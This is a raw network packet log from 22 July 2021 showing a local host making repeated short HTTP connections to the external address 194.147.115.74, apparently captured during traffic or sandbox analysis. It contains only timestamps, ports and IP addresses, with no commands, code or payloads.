Jul 22, 2021 16:12:01.170995951 CEST	49281	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:01.222871065 CEST	80	49280	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:01.223045111 CEST	49280	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:01.223629951 CEST	80	49281	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:01.223958015 CEST	49281	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:01.224749088 CEST	49281	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:01.276901960 CEST	80	49281	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:01.392529964 CEST	80	49281	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:01.392661095 CEST	49281	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:01.620398045 CEST	49282	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:01.620479107 CEST	49281	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:01.674468994 CEST	80	49282	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:01.674482107 CEST	80	49281	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:01.675148010 CEST	49281	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:01.675977945 CEST	49282	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:01.675998926 CEST	49282	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:01.753812075 CEST	80	49282	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:01.863708019 CEST	80	49282	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:01.863904953 CEST	49282	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.100297928 CEST	49282	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.102744102 CEST	49283	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.153120041 CEST	80	49282	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:02.153259993 CEST	49282	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.154840946 CEST	80	49283	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:02.155070066 CEST	49283	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.156478882 CEST	49283	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.210505962 CEST	80	49283	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:02.312468052 CEST	80	49283	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:02.312782049 CEST	49283	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.529272079 CEST	49283	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.530953884 CEST	49284	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.581581116 CEST	80	49283	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:02.581681967 CEST	49283	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.583204985 CEST	80	49284	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:02.583322048 CEST	49284	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.584587097 CEST	49284	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.636830091 CEST	80	49284	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:02.740611076 CEST	80	49284	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:02.740699053 CEST	49284	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.790255070 CEST	80	49167	54.235.88.121	192.168.2.22
Jul 22, 2021 16:12:02.790338039 CEST	49167	80	192.168.2.22	54.235.88.121
Jul 22, 2021 16:12:02.961146116 CEST	49284	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:02.962166071 CEST	49285	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.013525009 CEST	80	49284	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:03.013751030 CEST	49284	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.014448881 CEST	80	49285	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:03.014763117 CEST	49285	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.016128063 CEST	49285	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.068742990 CEST	80	49285	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:03.171837091 CEST	80	49285	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:03.172940969 CEST	49285	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.411226034 CEST	49285	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.413563967 CEST	49286	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.463747978 CEST	80	49285	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:03.463884115 CEST	49285	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.465890884 CEST	80	49286	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:03.466016054 CEST	49286	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.467390060 CEST	49286	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.520088911 CEST	80	49286	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:03.625241041 CEST	80	49286	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:03.625835896 CEST	49286	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.852076054 CEST	49286	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.853555918 CEST	49287	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.904416084 CEST	80	49286	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:03.904544115 CEST	49286	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.906232119 CEST	80	49287	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:03.906375885 CEST	49287	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.907593966 CEST	49287	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:03.959928989 CEST	80	49287	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:04.076158047 CEST	80	49287	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:04.076402903 CEST	49287	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:04.292989969 CEST	49287	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:04.295198917 CEST	49288	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:04.346071959 CEST	80	49287	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:04.346157074 CEST	49287	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:04.347712994 CEST	80	49288	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:04.348871946 CEST	49288	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:04.350253105 CEST	49288	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:04.403702974 CEST	80	49288	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:04.520309925 CEST	80	49288	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:04.520567894 CEST	49288	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:04.755142927 CEST	49288	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:04.757656097 CEST	49289	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:04.807444096 CEST	80	49288	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:04.807729006 CEST	49288	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:04.810023069 CEST	80	49289	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:04.810184002 CEST	49289	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:04.812446117 CEST	49289	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:04.864891052 CEST	80	49289	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:04.979065895 CEST	80	49289	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:04.979150057 CEST	49289	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:05.197084904 CEST	49290	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:05.197354078 CEST	49289	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:05.249635935 CEST	80	49290	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:05.249720097 CEST	49290	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:05.250024080 CEST	80	49289	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:05.250222921 CEST	49290	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:05.253369093 CEST	49289	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:05.302303076 CEST	80	49290	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:05.405751944 CEST	80	49290	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:05.405963898 CEST	49290	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:05.630894899 CEST	49290	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:05.632132053 CEST	49291	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:05.683177948 CEST	80	49290	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:05.683340073 CEST	49290	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:05.684293032 CEST	80	49291	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:05.684417963 CEST	49291	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:05.685089111 CEST	49291	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:05.737148046 CEST	80	49291	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:05.841520071 CEST	80	49291	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:05.841696978 CEST	49291	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.072513103 CEST	49291	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.074203014 CEST	49292	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.124891043 CEST	80	49291	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:06.125045061 CEST	49291	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.126517057 CEST	80	49292	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:06.126620054 CEST	49292	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.127482891 CEST	49292	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.179740906 CEST	80	49292	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:06.294018030 CEST	80	49292	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:06.294203043 CEST	49292	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.525794983 CEST	49292	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.528589964 CEST	49293	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.578150034 CEST	80	49292	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:06.578278065 CEST	49292	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.580925941 CEST	80	49293	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:06.581139088 CEST	49293	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.582639933 CEST	49293	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.634795904 CEST	80	49293	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:06.749896049 CEST	80	49293	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:06.750238895 CEST	49293	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.973033905 CEST	49294	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:06.973486900 CEST	49293	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.025538921 CEST	80	49293	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:07.025564909 CEST	80	49294	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:07.025666952 CEST	49293	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.025752068 CEST	49294	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.026973963 CEST	49294	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.079238892 CEST	80	49294	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:07.183212042 CEST	80	49294	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:07.183423042 CEST	49294	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.415785074 CEST	49294	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.416709900 CEST	49295	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.468573093 CEST	80	49294	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:07.468662024 CEST	49294	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.468858957 CEST	80	49295	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:07.468966961 CEST	49295	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.469902992 CEST	49295	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.522051096 CEST	80	49295	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:07.627796888 CEST	80	49295	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:07.628088951 CEST	49295	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.846884966 CEST	49296	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.846961021 CEST	49295	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.901715994 CEST	80	49296	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:07.901747942 CEST	80	49295	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:07.901815891 CEST	49296	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.901838064 CEST	49295	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.902539015 CEST	49296	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:07.954725981 CEST	80	49296	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:08.058758974 CEST	80	49296	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:08.059017897 CEST	49296	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:08.274024963 CEST	49296	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:08.275443077 CEST	49297	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:08.326440096 CEST	80	49296	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:08.326845884 CEST	49296	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:08.327812910 CEST	80	49297	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:08.328102112 CEST	49297	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:08.328980923 CEST	49297	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:08.383212090 CEST	80	49297	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:08.485219002 CEST	80	49297	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:08.485407114 CEST	49297	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:08.740668058 CEST	49297	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:08.742073059 CEST	49298	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:08.802726030 CEST	80	49298	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:08.804208040 CEST	80	49297	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:08.804435968 CEST	49297	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:08.808856010 CEST	49298	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:08.808880091 CEST	49298	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:08.861375093 CEST	80	49298	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:08.978435040 CEST	80	49298	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:08.978733063 CEST	49298	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:09.184405088 CEST	49298	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:09.186091900 CEST	49299	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:09.236778975 CEST	80	49298	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:09.236881971 CEST	49298	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:09.238444090 CEST	80	49299	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:09.240662098 CEST	49299	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:09.240680933 CEST	49299	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:09.309501886 CEST	80	49299	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:09.789206028 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:12:09.789334059 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:12:10.409220934 CEST	80	49299	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:10.409439087 CEST	49299	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:10.628362894 CEST	49299	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:10.629949093 CEST	49300	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:10.680841923 CEST	80	49299	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:10.685883999 CEST	49299	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:10.686429024 CEST	80	49300	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:10.688007116 CEST	49300	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:10.688029051 CEST	49300	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:10.740711927 CEST	80	49300	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:10.859375954 CEST	80	49300	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:10.859606028 CEST	49300	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:11.084012032 CEST	49300	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:11.085508108 CEST	49301	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:11.136313915 CEST	80	49300	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:11.136472940 CEST	49300	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:11.137620926 CEST	80	49301	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:11.137697935 CEST	49301	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:11.138365030 CEST	49301	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:11.190507889 CEST	80	49301	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:11.305207014 CEST	80	49301	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:11.305377960 CEST	49301	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:11.530431986 CEST	49301	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:11.531928062 CEST	49302	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:11.582782030 CEST	80	49301	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:11.582931042 CEST	49301	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:11.584022999 CEST	80	49302	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:11.584165096 CEST	49302	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:11.585130930 CEST	49302	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:11.637212038 CEST	80	49302	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:12.743241072 CEST	80	49302	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:12.743594885 CEST	49302	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:12.964831114 CEST	49302	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:12.966101885 CEST	49303	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.018053055 CEST	80	49302	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:13.018151045 CEST	49302	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.019066095 CEST	80	49303	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:13.019335985 CEST	49303	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.020370007 CEST	49303	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.073313951 CEST	80	49303	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:13.177135944 CEST	80	49303	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:13.178932905 CEST	49303	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.419753075 CEST	49303	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.441643000 CEST	49304	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.472007990 CEST	80	49303	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:13.472140074 CEST	49303	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.493752956 CEST	80	49304	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:13.493866920 CEST	49304	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.495186090 CEST	49304	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.547283888 CEST	80	49304	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:13.650988102 CEST	80	49304	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:13.651499033 CEST	49304	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.875365973 CEST	49304	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.877392054 CEST	49305	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.928849936 CEST	80	49304	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:13.928975105 CEST	49304	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.929903984 CEST	80	49305	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:13.930113077 CEST	49305	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.931045055 CEST	49305	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:13.985482931 CEST	80	49305	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:14.099052906 CEST	80	49305	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:14.099164963 CEST	49305	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:14.320832014 CEST	49305	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:14.321933031 CEST	49306	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:14.373272896 CEST	80	49305	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:14.373414040 CEST	49305	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:14.374212980 CEST	80	49306	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:14.378437996 CEST	49306	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:14.379228115 CEST	49306	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:14.432658911 CEST	80	49306	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:14.550126076 CEST	80	49306	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:14.550864935 CEST	49306	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:14.776187897 CEST	49306	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:14.777467966 CEST	49307	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:14.828702927 CEST	80	49306	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:14.828929901 CEST	49306	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:14.829643965 CEST	80	49307	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:14.829771996 CEST	49307	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:14.831377029 CEST	49307	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:14.883620977 CEST	80	49307	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:14.989069939 CEST	80	49307	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:14.989237070 CEST	49307	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:15.221251965 CEST	49308	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:15.221506119 CEST	49307	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:15.273498058 CEST	80	49308	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:15.273570061 CEST	80	49307	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:15.273734093 CEST	49307	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:15.273740053 CEST	49308	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:15.274631023 CEST	49308	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:15.326653004 CEST	80	49308	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:15.430584908 CEST	80	49308	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:15.430824995 CEST	49308	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:15.648775101 CEST	49308	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:15.650154114 CEST	49309	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:15.701438904 CEST	80	49308	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:15.701689005 CEST	49308	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:15.702347994 CEST	80	49309	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:15.702635050 CEST	49309	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:15.704440117 CEST	49309	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:15.757325888 CEST	80	49309	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:15.873754978 CEST	80	49309	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:15.874502897 CEST	49309	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:16.092288017 CEST	49309	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:16.093763113 CEST	49310	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:16.144906044 CEST	80	49309	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:16.145195961 CEST	49309	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:16.146178961 CEST	80	49310	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:16.146326065 CEST	49310	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:16.147488117 CEST	49310	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:16.199598074 CEST	80	49310	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:16.313445091 CEST	80	49310	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:16.313510895 CEST	49310	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:16.540720940 CEST	49310	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:16.541677952 CEST	49311	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:16.593089104 CEST	80	49310	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:16.593234062 CEST	49310	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:16.593760967 CEST	80	49311	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:16.593849897 CEST	49311	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:16.594722986 CEST	49311	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:16.647372961 CEST	80	49311	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:16.777502060 CEST	80	49311	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:16.790045977 CEST	49311	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.009054899 CEST	49311	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.010569096 CEST	49312	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.062494040 CEST	80	49311	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:17.062594891 CEST	49311	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.063357115 CEST	80	49312	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:17.063509941 CEST	49312	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.064452887 CEST	49312	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.116624117 CEST	80	49312	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:17.231761932 CEST	80	49312	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:17.231853962 CEST	49312	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.459062099 CEST	49312	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.460076094 CEST	49313	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.511681080 CEST	80	49312	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:17.511801958 CEST	49312	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.512226105 CEST	80	49313	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:17.512327909 CEST	49313	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.513257980 CEST	49313	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.566545010 CEST	80	49313	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:17.669996977 CEST	80	49313	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:17.670216084 CEST	49313	80	192.168.2.22	194.147.115.74
